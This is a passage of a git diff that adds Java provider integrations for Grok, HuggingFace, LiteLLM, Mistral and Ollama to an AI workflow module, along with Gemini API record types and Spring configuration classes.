for (Part p : c.content().parts()) { + if (!Boolean.TRUE.equals(p.thought()) && p.text() != null) { + sb.append(p.text()); + } + } + } + return sb.toString(); + } + + /** Collect all functionCall parts from all candidates. */ + public List functionCalls() { + if (candidates == null) return List.of(); + return candidates.stream() + .filter(c -> c.content() != null && c.content().parts() != null) + .flatMap(c -> c.content().parts().stream()) + .filter(p -> p.functionCall() != null) + .map(Part::functionCall) + .toList(); + } + + /** Finish reason from first candidate. */ + public String finishReason() { + if (candidates == null || candidates.isEmpty()) return null; + return candidates.get(0).finishReason(); + } + } + + @JsonIgnoreProperties(ignoreUnknown = true) + public record Candidate(Content content, @JsonProperty("finishReason") String finishReason) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record UsageMetadata( + @JsonProperty("promptTokenCount") Integer promptTokenCount, + @JsonProperty("candidatesTokenCount") Integer candidatesTokenCount, + @JsonProperty("thoughtsTokenCount") Integer thoughtsTokenCount) {} + + // --- Embeddings --- + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record EmbedContentRequest( + Content content, + @JsonProperty("taskType") String taskType, + @JsonProperty("outputDimensionality") Integer outputDimensionality) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record EmbedContentResponse(@JsonProperty("embedding") Embedding embedding) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record Embedding(@JsonProperty("values") List values) {} + + // --- Image generation --- + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record GenerateImagesRequest( + @JsonProperty("prompt") ImagePrompt prompt, + @JsonProperty("generationConfig") GenerateImagesConfig generationConfig) {} + + public record ImagePrompt(@JsonProperty("text") String text) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record GenerateImagesConfig( + @JsonProperty("numberOfImages") Integer numberOfImages, + @JsonProperty("outputMimeType") String outputMimeType, + @JsonProperty("includeSafetyAttributes") Boolean includeSafetyAttributes) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record GenerateImagesResponse( + @JsonProperty("predictions") List predictions) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record ImagePrediction( + @JsonProperty("bytesBase64Encoded") String bytesBase64Encoded, + @JsonProperty("mimeType") String mimeType) {} + + // --- Video generation --- + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record GenerateVideosRequest( + @JsonProperty("instances") List> instances, + @JsonProperty("parameters") GenerateVideosConfig parameters) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record GenerateVideosConfig( + @JsonProperty("numberOfVideos") Integer numberOfVideos, + @JsonProperty("durationSeconds") Integer durationSeconds, + @JsonProperty("aspectRatio") String aspectRatio, + Integer seed, + @JsonProperty("negativePrompt") String negativePrompt, + @JsonProperty("personGeneration") String personGeneration, + String resolution, + @JsonProperty("generateAudio") Boolean generateAudio, + Integer fps) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record GenerateVideosOperation( + String name, + Boolean done, + @JsonProperty("error") OperationError error, + @JsonProperty("response") GenerateVideosResult response) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record GenerateVideosResult(@JsonProperty("videos") List videos) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record GeneratedVideo( + @JsonProperty("bytesBase64Encoded") String bytesBase64Encoded, + @JsonProperty("uri") String uri, + @JsonProperty("mimeType") String mimeType) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record OperationError(Integer code, String message) {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/grok/Grok.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/grok/Grok.java new file mode 100644 index 0000000..b3c785a --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/grok/Grok.java @@ -0,0 +1,95 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.grok; + +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.providers.openai.OpenAICompatChatModel; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.model.tool.ToolCallingChatOptions; +import org.springframework.ai.tool.ToolCallback; + +import okhttp3.OkHttpClient; + +public class Grok implements AIModel { + + public static final String NAME = "Grok"; + private final GrokAIConfiguration config; + private final OpenAICompatChatModel chatModel; + + public Grok(GrokAIConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public Grok(GrokAIConfiguration config, OkHttpClient httpClient) { + this.config = config; + OpenAIChatCompletionsApi api = + new OpenAIChatCompletionsApi( + httpClient, + config.getApiKey(), + config.getBaseURL(), + "/v1/chat/completions"); + this.chatModel = new OpenAICompatChatModel(api); + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + throw new UnsupportedOperationException("Not supported"); + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + List toolCallbacks = getToolCallback(input); + Set toolNames = + toolCallbacks.stream() + .map(tc -> tc.getToolDefinition().name()) + .collect(Collectors.toSet()); + + return ToolCallingChatOptions.builder() + .model(input.getModel()) + .temperature(input.getTemperature()) + .topP(input.getTopP()) + .maxTokens(input.getMaxTokens()) + .stopSequences(input.getStopWords()) + .frequencyPenalty(input.getFrequencyPenalty()) + .presencePenalty(input.getPresencePenalty()) + .toolCallbacks(toolCallbacks) + .toolNames(toolNames) + .internalToolExecutionEnabled(false) + .build(); + } + + @Override + public ChatModel getChatModel() { + return this.chatModel; + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException("Image generation not supported by the model yet"); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/grok/GrokAIConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/grok/GrokAIConfiguration.java new file mode 100644 index 0000000..a69a366 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/grok/GrokAIConfiguration.java @@ -0,0 +1,58 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.grok; + +import java.time.Duration; +import java.util.Objects; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@ConfigurationProperties(prefix = "conductor.ai.grok") +@Component +@NoArgsConstructor +public class GrokAIConfiguration implements ModelConfiguration { + private String apiKey; + private String baseURL; + private Duration timeout = Duration.ofSeconds(600); + + private OkHttpClient httpClient; + + public GrokAIConfiguration(String apiKey, String baseURL, OkHttpClient httpClient) { + this.apiKey = apiKey; + this.baseURL = baseURL; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + public String getBaseURL() { + return Objects.isNull(baseURL) ? "https://api.x.ai" : baseURL; + } + + @Override + public Grok get() { + return new Grok(this, httpClient); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFace.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFace.java new file mode 100644 index 0000000..6391b16 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFace.java @@ -0,0 +1,109 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.huggingface; + +import java.util.ArrayList; +import java.util.List; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ToolSpec; +import org.conductoross.conductor.ai.providers.openai.OpenAIResponsesChatModel; +import org.conductoross.conductor.ai.providers.openai.OpenAIResponsesChatOptions; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.Tool; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; + +import okhttp3.OkHttpClient; + +/** + * HuggingFace provider, backed by HuggingFace's OpenAI-compatible router endpoint ({@code + * https://router.huggingface.co/v1}). This reuses {@link OpenAIResponsesChatModel} (the same + * Responses-API model used by OpenAI/Azure), which converts multimodal input — text plus {@code + * input_image} content parts — so vision-capable HuggingFace models receive images. + * + *

Auth is a Bearer token (the OpenAI, non-Azure, header). Image support is model-dependent. + */ +public class HuggingFace implements AIModel { + + public static final String NAME = "huggingface"; + private final HuggingFaceConfiguration config; + private final OpenAIResponsesChatModel chatModel; + + public HuggingFace(HuggingFaceConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public HuggingFace(HuggingFaceConfiguration config, OkHttpClient httpClient) { + this.config = config; + // Bearer auth (azureAuth=false via the 3-arg constructor). baseURL is the + // router /v1 root; the client appends /responses. + OpenAIResponsesApi responsesApi = + new OpenAIResponsesApi(httpClient, config.getApiKey(), config.getBaseURL()); + this.chatModel = new OpenAIResponsesChatModel(responsesApi); + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + throw new UnsupportedOperationException("Not supported"); + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + List tools = convertTools(input); + return OpenAIResponsesChatOptions.builder() + .model(input.getModel()) + .temperature(input.getTemperature()) + .topP(input.getTopP()) + .frequencyPenalty(input.getFrequencyPenalty()) + .presencePenalty(input.getPresencePenalty()) + .maxTokens(input.getMaxTokens()) + .stopSequences(input.getStopWords()) + .jsonOutput(input.isJsonOutput()) + .responsesApiTools(tools.isEmpty() ? null : tools) + .build(); + } + + @Override + public ChatModel getChatModel() { + return this.chatModel; + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException("Image generation not supported by the model yet"); + } + + private List convertTools(ChatCompletion input) { + List tools = new ArrayList<>(); + if (input.getTools() != null) { + for (ToolSpec toolSpec : input.getTools()) { + tools.add( + Tool.function( + toolSpec.getName(), + toolSpec.getDescription(), + toolSpec.getInputSchema())); + } + } + return tools; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceConfiguration.java new file mode 100644 index 0000000..af32e33 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceConfiguration.java @@ -0,0 +1,57 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.huggingface; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@NoArgsConstructor +@Component +@ConfigurationProperties(prefix = "conductor.ai.huggingface") +public class HuggingFaceConfiguration implements ModelConfiguration { + + private String apiKey; + + private String baseURL; + + private OkHttpClient httpClient; + + public HuggingFaceConfiguration(String apiKey, String baseURL, OkHttpClient httpClient) { + this.apiKey = apiKey; + this.baseURL = baseURL; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + public String getBaseURL() { + // HuggingFace's OpenAI-compatible router (Responses API lives at /responses). + return baseURL == null ? "https://router.huggingface.co/v1" : baseURL; + } + + @Override + public HuggingFace get() { + return new HuggingFace(this, httpClient); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/litellm/LiteLLM.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/litellm/LiteLLM.java new file mode 100644 index 0000000..1c58b59 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/litellm/LiteLLM.java @@ -0,0 +1,101 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.litellm; + +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.providers.openai.OpenAICompatChatModel; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.model.tool.ToolCallingChatOptions; +import org.springframework.ai.tool.ToolCallback; + +import okhttp3.OkHttpClient; + +public class LiteLLM implements AIModel { + + public static final String NAME = "litellm"; + private final LiteLLMConfiguration config; + private final OpenAICompatChatModel chatModel; + + public LiteLLM(LiteLLMConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public LiteLLM(LiteLLMConfiguration config, OkHttpClient httpClient) { + this.config = config; + OpenAIChatCompletionsApi api = + new OpenAIChatCompletionsApi( + httpClient, + config.getApiKey(), + config.getBaseURL(), + "/v1/chat/completions"); + this.chatModel = new OpenAICompatChatModel(api); + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List getProviderAliases() { + return List.of("LiteLLM"); + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + throw new UnsupportedOperationException("Not supported"); + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + List toolCallbacks = getToolCallback(input); + Set toolNames = + toolCallbacks.stream() + .map(tc -> tc.getToolDefinition().name()) + .collect(Collectors.toSet()); + + return ToolCallingChatOptions.builder() + .model(input.getModel()) + .temperature(input.getTemperature()) + .topP(input.getTopP()) + .maxTokens(input.getMaxTokens()) + .stopSequences(input.getStopWords()) + .frequencyPenalty(input.getFrequencyPenalty()) + .presencePenalty(input.getPresencePenalty()) + .topK(input.getTopK()) + .toolCallbacks(toolCallbacks) + .toolNames(toolNames) + .internalToolExecutionEnabled(false) + .build(); + } + + @Override + public ChatModel getChatModel() { + return this.chatModel; + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException("Image generation not supported by the model yet"); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/litellm/LiteLLMConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/litellm/LiteLLMConfiguration.java new file mode 100644 index 0000000..bd904bd --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/litellm/LiteLLMConfiguration.java @@ -0,0 +1,58 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.litellm; + +import java.time.Duration; +import java.util.Objects; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@ConfigurationProperties(prefix = "conductor.ai.litellm") +@Component +@NoArgsConstructor +public class LiteLLMConfiguration implements ModelConfiguration { + private String apiKey; + private String baseURL; + private Duration timeout = Duration.ofSeconds(600); + + private OkHttpClient httpClient; + + public LiteLLMConfiguration(String apiKey, String baseURL, OkHttpClient httpClient) { + this.apiKey = apiKey; + this.baseURL = baseURL; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + public String getBaseURL() { + return Objects.isNull(baseURL) ? "http://localhost:4000" : baseURL; + } + + @Override + public LiteLLM get() { + return new LiteLLM(this, httpClient); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/mistral/MistralAI.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/mistral/MistralAI.java new file mode 100644 index 0000000..4082f1e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/mistral/MistralAI.java @@ -0,0 +1,146 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.mistral; + +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.ArrayUtils; +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.embedding.EmbeddingOptions; +import org.springframework.ai.embedding.EmbeddingRequest; +import org.springframework.ai.embedding.EmbeddingResponse; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.mistralai.MistralAiChatModel; +import org.springframework.ai.mistralai.MistralAiChatOptions; +import org.springframework.ai.mistralai.MistralAiEmbeddingModel; +import org.springframework.ai.mistralai.api.MistralAiApi; +import org.springframework.ai.tool.ToolCallback; +import org.springframework.web.client.RestClient; + +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +@Slf4j +public class MistralAI implements AIModel { + + public static final String NAME = "mistral"; + private final MistralAIConfiguration config; + + // Cached instances + private final MistralAiApi mistralAiApi; + private final MistralAiChatModel chatModel; + private final MistralAiEmbeddingModel embeddingModel; + + public MistralAI(MistralAIConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public MistralAI(MistralAIConfiguration config, OkHttpClient httpClient) { + this.config = config; + this.mistralAiApi = createMistralAiApi(httpClient); + this.chatModel = createChatModel(); + this.embeddingModel = + MistralAiEmbeddingModel.builder().mistralAiApi(this.mistralAiApi).build(); + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + // Note, mistral does not support passing embedding dimensions + EmbeddingOptions options = + EmbeddingOptions.builder().model(embeddingGenRequest.getModel()).build(); + + EmbeddingRequest request = + new EmbeddingRequest(List.of(embeddingGenRequest.getText()), options); + EmbeddingResponse response = embeddingModel.call(request); + return List.of(ArrayUtils.toObject(response.getResult().getOutput())); + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + List toolCallbacks = getToolCallback(input); + Set toolNames = + toolCallbacks.stream() + .map(tc -> tc.getToolDefinition().name()) + .collect(Collectors.toSet()); + + MistralAiChatOptions.Builder builder = + MistralAiChatOptions.builder() + .model(input.getModel()) + .temperature(input.getTemperature()) + .topP(input.getTopP()) + .maxTokens(input.getMaxTokens()) + .stop(input.getStopWords()) + .toolCallbacks(toolCallbacks) + .toolNames(toolNames) + .internalToolExecutionEnabled(false); + + if (input.isJsonOutput()) { + builder.responseFormat( + new MistralAiApi.ChatCompletionRequest.ResponseFormat("json_object")); + } + + return builder.build(); + } + + @Override + public ChatModel getChatModel() { + return this.chatModel; + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException("Image generation not supported by the model yet"); + } + + // Initialization helpers + + private MistralAiApi createMistralAiApi(OkHttpClient httpClient) { + OkHttpClient effective = + (config.getTimeout() != null) + ? httpClient.newBuilder().readTimeout(config.getTimeout()).build() + : httpClient; + var factory = + new org.springframework.http.client.OkHttp3ClientHttpRequestFactory(effective); + // Needs accept-encoding headers + // https://github.com/spring-projects/spring-ai/issues/372 + return MistralAiApi.builder() + .baseUrl(config.getBaseURL()) + .apiKey(config.getApiKey()) + .restClientBuilder( + RestClient.builder() + .requestFactory(factory) + .defaultHeader("Accept-Encoding", "gzip, deflate")) + .build(); + } + + private MistralAiChatModel createChatModel() { + MistralAiChatOptions chatOptions = + MistralAiChatOptions.builder().temperature(null).topP(null).build(); + return MistralAiChatModel.builder() + .defaultOptions(chatOptions) + .mistralAiApi(this.mistralAiApi) + .build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/mistral/MistralAIConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/mistral/MistralAIConfiguration.java new file mode 100644 index 0000000..77fd787 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/mistral/MistralAIConfiguration.java @@ -0,0 +1,60 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.mistral; + +import java.time.Duration; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@Component +@ConfigurationProperties(prefix = "conductor.ai.mistral") +@NoArgsConstructor +public class MistralAIConfiguration implements ModelConfiguration { + + private String apiKey; + + private String baseURL; + + private Duration timeout = Duration.ofSeconds(600); + + private OkHttpClient httpClient; + + public MistralAIConfiguration(String apiKey, String baseURL, OkHttpClient httpClient) { + this.apiKey = apiKey; + this.baseURL = baseURL; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + public String getBaseURL() { + return baseURL == null ? "https://api.mistral.ai" : baseURL; + } + + @Override + public MistralAI get() { + return httpClient != null ? new MistralAI(this, httpClient) : new MistralAI(this); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/ollama/Ollama.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/ollama/Ollama.java new file mode 100644 index 0000000..d632454 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/ollama/Ollama.java @@ -0,0 +1,127 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.ollama; + +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.ollama.OllamaChatModel; +import org.springframework.ai.ollama.OllamaEmbeddingModel; +import org.springframework.ai.ollama.api.OllamaApi; +import org.springframework.ai.ollama.api.OllamaChatOptions; +import org.springframework.ai.ollama.api.OllamaEmbeddingOptions; +import org.springframework.ai.tool.ToolCallback; +import org.springframework.web.client.RestClient; + +import com.google.common.primitives.Floats; +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +@Slf4j +public class Ollama implements AIModel { + + public static final String NAME = "ollama"; + private final OllamaConfiguration config; + private final OkHttpClient httpClient; + + public Ollama(OllamaConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public Ollama(OllamaConfiguration config, OkHttpClient httpClient) { + this.config = config; + this.httpClient = httpClient; + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + OllamaApi api = buildOllamaApi(); + var options = + OllamaEmbeddingOptions.builder().model(embeddingGenRequest.getModel()).build(); + var embeddingModel = + OllamaEmbeddingModel.builder().ollamaApi(api).defaultOptions(options).build(); + float[] embeddingsResponse = + embeddingModel + .embedForResponse(List.of(embeddingGenRequest.getText())) + .getResult() + .getOutput(); + return Floats.asList(embeddingsResponse); + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + List toolCallbacks = getToolCallback(input); + Set toolNames = + toolCallbacks.stream() + .map(tc -> tc.getToolDefinition().name()) + .collect(Collectors.toSet()); + + OllamaChatOptions.Builder builder = + OllamaChatOptions.builder() + .model(input.getModel()) + .temperature(input.getTemperature()) + .topP(input.getTopP()) + .topK(input.getTopK()) + .numPredict(input.getMaxTokens()) + .stop(input.getStopWords()) + .frequencyPenalty(input.getFrequencyPenalty()) + .toolCallbacks(toolCallbacks) + .toolNames(toolNames) + .internalToolExecutionEnabled(false) + .presencePenalty(input.getPresencePenalty()); + + if (input.isJsonOutput()) { + builder.format("json"); + } + + return builder.build(); + } + + @Override + public ChatModel getChatModel() { + return OllamaChatModel.builder().ollamaApi(buildOllamaApi()).build(); + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException("Image generation not supported by the model yet"); + } + + private OllamaApi buildOllamaApi() { + OkHttpClient effective = + (config.getTimeout() != null) + ? httpClient.newBuilder().readTimeout(config.getTimeout()).build() + : httpClient; + var factory = + new org.springframework.http.client.OkHttp3ClientHttpRequestFactory(effective); + RestClient.Builder builder = RestClient.builder().requestFactory(factory); + if (StringUtils.isNotBlank(config.getAuthHeaderName())) { + builder.defaultHeader(config.getAuthHeaderName(), config.getAuthHeader()); + } + return OllamaApi.builder().baseUrl(config.getBaseURL()).restClientBuilder(builder).build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/ollama/OllamaConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/ollama/OllamaConfiguration.java new file mode 100644 index 0000000..17ad777 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/ollama/OllamaConfiguration.java @@ -0,0 +1,64 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

